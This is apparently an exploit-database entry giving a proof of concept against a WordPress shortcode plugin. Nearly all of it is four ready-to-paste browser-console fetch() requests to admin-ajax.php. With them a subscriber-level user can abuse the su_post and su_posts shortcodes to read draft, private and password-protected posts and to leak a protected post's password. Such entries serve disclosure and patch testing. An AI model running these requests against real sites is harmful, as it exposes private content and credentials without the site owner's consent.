## https://sploitus.com/exploit?id=WPEX-ID:8A466F15-F112-4527-8B02-4544A8032671
Run one of the below command in the developer console of the web browser while being on the blog as a subscriber
Via su_post shortcode:
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": "action=parse-media-shortcode&shortcode=[su_post field='the_content' post_id='14']",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));
This will display the content of the post with ID 14 (such as a draft/private/password protected one)
To leak the password of a protected post:
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": "action=parse-media-shortcode&shortcode=[su_post field='post_password' post_id='20']",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));
Via su_posts shortcode:
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": "action=parse-media-shortcode&shortcode=[su_posts post_status='private']",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));
This will display all private posts and their content (pwd protected content won't be displayed here though)
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": "action=parse-media-shortcode&shortcode=[su_posts post_status='any' id='14,20']",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));
This will display the posts with id 14 and 20 along with their and their content (pwd protected content won't be displayed)